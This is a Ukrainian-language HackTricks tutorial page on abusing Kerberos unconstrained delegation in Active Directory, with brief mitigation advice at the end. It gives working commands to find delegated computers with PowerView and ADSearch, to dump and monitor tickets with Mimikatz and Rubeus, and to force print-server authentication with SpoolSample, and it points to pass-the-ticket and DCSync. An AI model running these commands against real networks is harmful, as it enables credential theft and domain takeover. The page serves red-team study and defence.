# Unconstrained Delegation {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Unconstrained delegation Π¦Π΅ функція, яку адміністратор Π΄ΠΎΠΌΠ΅Π½Ρƒ ΠΌΠΎΠΆΠ΅ Π½Π°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Ρ‚ΠΈ для Π±ΡƒΠ΄ΡŒ-якого **ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€Π°** Π² Π΄ΠΎΠΌΠ΅Π½Ρ–. Π’ΠΎΠ΄Ρ–, Ρ‰ΠΎΡ€Π°Π·Ρƒ, ΠΊΠΎΠ»ΠΈ **користувач Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ** Π½Π° ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€, **копія TGT** Ρ†ΡŒΠΎΠ³ΠΎ користувача Π±ΡƒΠ΄Π΅ **надіслана всСрСдині TGS**, Π½Π°Π΄Π°Π½ΠΎΠ³ΠΎ DC **Ρ– Π·Π±Π΅Ρ€Π΅ΠΆΠ΅Π½Π° Π² ΠΏΠ°ΠΌ'яті Π² LSASS**. ΠžΡ‚ΠΆΠ΅, якщо Ρƒ вас Ρ” ΠΏΡ€ΠΈΠ²Ρ–Π»Π΅Ρ— адміністратора Π½Π° ΠΌΠ°ΡˆΠΈΠ½Ρ–, Π²ΠΈ Π·ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **Π²ΠΈΠ²Π°Π½Ρ‚Π°ΠΆΠΈΡ‚ΠΈ ΠΊΠ²ΠΈΡ‚ΠΊΠΈ Ρ‚Π° Π²ΠΈΠ΄Π°Π²Π°Ρ‚ΠΈ сСбС Π·Π° користувачів** Π½Π° Π±ΡƒΠ΄ΡŒ-якій ΠΌΠ°ΡˆΠΈΠ½Ρ–. ΠžΡ‚ΠΆΠ΅, якщо адміністратор Π΄ΠΎΠΌΠ΅Π½Ρƒ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π° ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€ Π· Π°ΠΊΡ‚ΠΈΠ²ΠΎΠ²Π°Π½ΠΎΡŽ Ρ„ΡƒΠ½ΠΊΡ†Ρ–Ρ”ΡŽ "Unconstrained Delegation", Ρ– Ρƒ вас Ρ” Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ– адміністративні ΠΏΡ€ΠΈΠ²Ρ–Π»Π΅Ρ— Π½Π° Ρ†Ρ–ΠΉ ΠΌΠ°ΡˆΠΈΠ½Ρ–, Π²ΠΈ Π·ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ²Π°Π½Ρ‚Π°ΠΆΠΈΡ‚ΠΈ ΠΊΠ²ΠΈΡ‚ΠΎΠΊ Ρ– Π²ΠΈΠ΄Π°Π²Π°Ρ‚ΠΈ сСбС Π·Π° адміністратора Π΄ΠΎΠΌΠ΅Π½Ρƒ Π±ΡƒΠ΄ΡŒ-Π΄Π΅ (підвищСння ΠΏΡ€ΠΈΠ²Ρ–Π»Π΅Ρ—Π² Π΄ΠΎΠΌΠ΅Π½Ρƒ). Π’ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **Π·Π½Π°ΠΉΡ‚ΠΈ ΠΎΠ±'Ρ”ΠΊΡ‚ΠΈ ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€Ρ–Π² Π· Ρ†ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ**, ΠΏΠ΅Ρ€Π΅Π²Ρ–Ρ€ΡΡŽΡ‡ΠΈ, Ρ‡ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) ΠΌΡ–ΡΡ‚ΠΈΡ‚ΡŒ [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). Π’ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Ρ€ΠΎΠ±ΠΈΡ‚ΠΈ Ρ†Π΅ Π·Π° допомогою LDAP-Ρ„Ρ–Π»ΡŒΡ‚Ρ€Π° β€˜(userAccountControl:1.2.840.113556.1.4.803:=524288)’, Ρ‰ΠΎ Ρ€ΠΎΠ±ΠΈΡ‚ΡŒ powerview:
# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs
Π—Π°Π²Π°Π½Ρ‚Π°ΠΆΡ‚Π΅ ΠΊΠ²ΠΈΡ‚ΠΎΠΊ адміністратора (Π°Π±ΠΎ користувача-ΠΆΠ΅Ρ€Ρ‚Π²ΠΈ) Π² ΠΏΠ°ΠΌ'ΡΡ‚ΡŒ Π·Π° допомогою **Mimikatz** Π°Π±ΠΎ **Rubeus для** [**Pass the Ticket**](pass-the-ticket.md)**.**\ Π‘Ρ–Π»ΡŒΡˆΠ΅ Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–Ρ—: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ [**Π‘Ρ–Π»ΡŒΡˆΠ΅ Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–Ρ— ΠΏΡ€ΠΎ Unconstrained delegation Π½Π° ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) ### **Force Authentication** Π―ΠΊΡ‰ΠΎ зловмисник Π·ΠΌΠΎΠΆΠ΅ **Π·Π»Π°ΠΌΠ°Ρ‚ΠΈ ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€, Π΄ΠΎΠ·Π²ΠΎΠ»Π΅Π½ΠΈΠΉ для "Unconstrained Delegation"**, Π²Ρ–Π½ ΠΌΠΎΠΆΠ΅ **ΠΎΠ±ΠΌΠ°Π½ΡƒΡ‚ΠΈ** **сСрвСр Π΄Ρ€ΡƒΠΊΡƒ**, Ρ‰ΠΎΠ± **Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ ΡƒΠ²Ρ–ΠΉΡ‚ΠΈ** Π½Π° нього, **Π·Π±Π΅Ρ€Ρ–Π³Π°ΡŽΡ‡ΠΈ TGT** Π² ΠΏΠ°ΠΌ'яті сСрвСра.\ Π’ΠΎΠ΄Ρ– зловмисник Π·ΠΌΠΎΠΆΠ΅ Π²ΠΈΠΊΠΎΠ½Π°Ρ‚ΠΈ **Π°Ρ‚Π°ΠΊΡƒ Pass the Ticket, Ρ‰ΠΎΠ± Π²ΠΈΠ΄Π°Π²Π°Ρ‚ΠΈ сСбС Π·Π°** ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²ΠΈΠΉ запис ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€Π° сСрвСра Π΄Ρ€ΡƒΠΊΡƒ. Π©ΠΎΠ± змусити сСрвСр Π΄Ρ€ΡƒΠΊΡƒ ΡƒΠ²Ρ–ΠΉΡ‚ΠΈ Π½Π° Π±ΡƒΠ΄ΡŒ-яку ΠΌΠ°ΡˆΠΈΠ½Ρƒ, Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ використовувати [**SpoolSample**](https://github.com/leechristensen/SpoolSample): ```bash .\SpoolSample.exe ``` Π―ΠΊΡ‰ΠΎ TGT ΠΎΡ‚Ρ€ΠΈΠΌΠ°Π½ΠΎ Π²Ρ–Π΄ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€Π° Π΄ΠΎΠΌΠ΅Π½Ρƒ, Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠΊΠΎΠ½Π°Ρ‚ΠΈ [**DCSync attack**](acl-persistence-abuse/#dcsync) Ρ– ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ всі Ρ…Π΅ΡˆΡ– Π· DC.\ [**Π‘Ρ–Π»ΡŒΡˆΠ΅ Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–Ρ— ΠΏΡ€ΠΎ Ρ†ΡŽ Π°Ρ‚Π°ΠΊΡƒ Π½Π° ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) **Ось Ρ–Π½ΡˆΡ– способи спробувати примусити Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„Ρ–ΠΊΠ°Ρ†Ρ–ΡŽ:** {% content-ref url="printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](printers-spooler-service-abuse.md) {% endcontent-ref %} ### Π—ΠΌΠ΅Π½ΡˆΠ΅Π½Π½Ρ Ρ€ΠΈΠ·ΠΈΠΊΡ–Π² * ΠžΠ±ΠΌΠ΅ΠΆΡ‚Π΅ Π²Ρ…ΠΎΠ΄ΠΈ DA/Admin Π΄ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΈΡ… сСрвісів * Π’ΡΡ‚Π°Π½ΠΎΠ²Ρ–Ρ‚ΡŒ "ΠžΠ±Π»Ρ–ΠΊΠΎΠ²ΠΈΠΉ запис Ρ” Ρ‡ΡƒΡ‚Π»ΠΈΠ²ΠΈΠΌ Ρ– Π½Π΅ ΠΌΠΎΠΆΠ΅ Π±ΡƒΡ‚ΠΈ Π΄Π΅Π»Π΅Π³ΠΎΠ²Π°Π½ΠΈΠΉ" для ΠΏΡ€ΠΈΠ²Ρ–Π»Π΅ΠΉΠΎΠ²Π°Π½ΠΈΡ… ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²ΠΈΡ… записів. {% hint style="success" %} Π’ΠΈΠ²Ρ‡Π°ΠΉΡ‚Π΅ Ρ‚Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΉΡ‚Π΅ AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Π’ΠΈΠ²Ρ‡Π°ΠΉΡ‚Π΅ Ρ‚Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΉΡ‚Π΅ GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
ΠŸΡ–Π΄Ρ‚Ρ€ΠΈΠΌΠ°ΠΉΡ‚Π΅ HackTricks * ΠŸΠ΅Ρ€Π΅Π²Ρ–Ρ€Ρ‚Π΅ [**ΠΏΠ»Π°Π½ΠΈ підписки**](https://github.com/sponsors/carlospolop)! * **ΠŸΡ€ΠΈΡ”Π΄Π½ΡƒΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ** πŸ’¬ [**Π³Ρ€ΡƒΠΏΠΈ Discord**](https://discord.gg/hRep4RUj7f) Π°Π±ΠΎ [**Π³Ρ€ΡƒΠΏΠΈ Telegram**](https://t.me/peass) Π°Π±ΠΎ **слідкуйтС** Π·Π° Π½Π°ΠΌΠΈ Π² **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Π”Ρ–Π»Ρ–Ρ‚ΡŒΡΡ Ρ…Π°ΠΊΠ΅Ρ€ΡΡŒΠΊΠΈΠΌΠΈ Ρ‚Ρ€ΡŽΠΊΠ°ΠΌΠΈ, Π½Π°Π΄ΡΠΈΠ»Π°ΡŽΡ‡ΠΈ PR Π΄ΠΎ** [**HackTricks**](https://github.com/carlospolop/hacktricks) Ρ‚Π° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€Ρ–Ρ—Π² Π½Π° GitHub.
{% endhint %}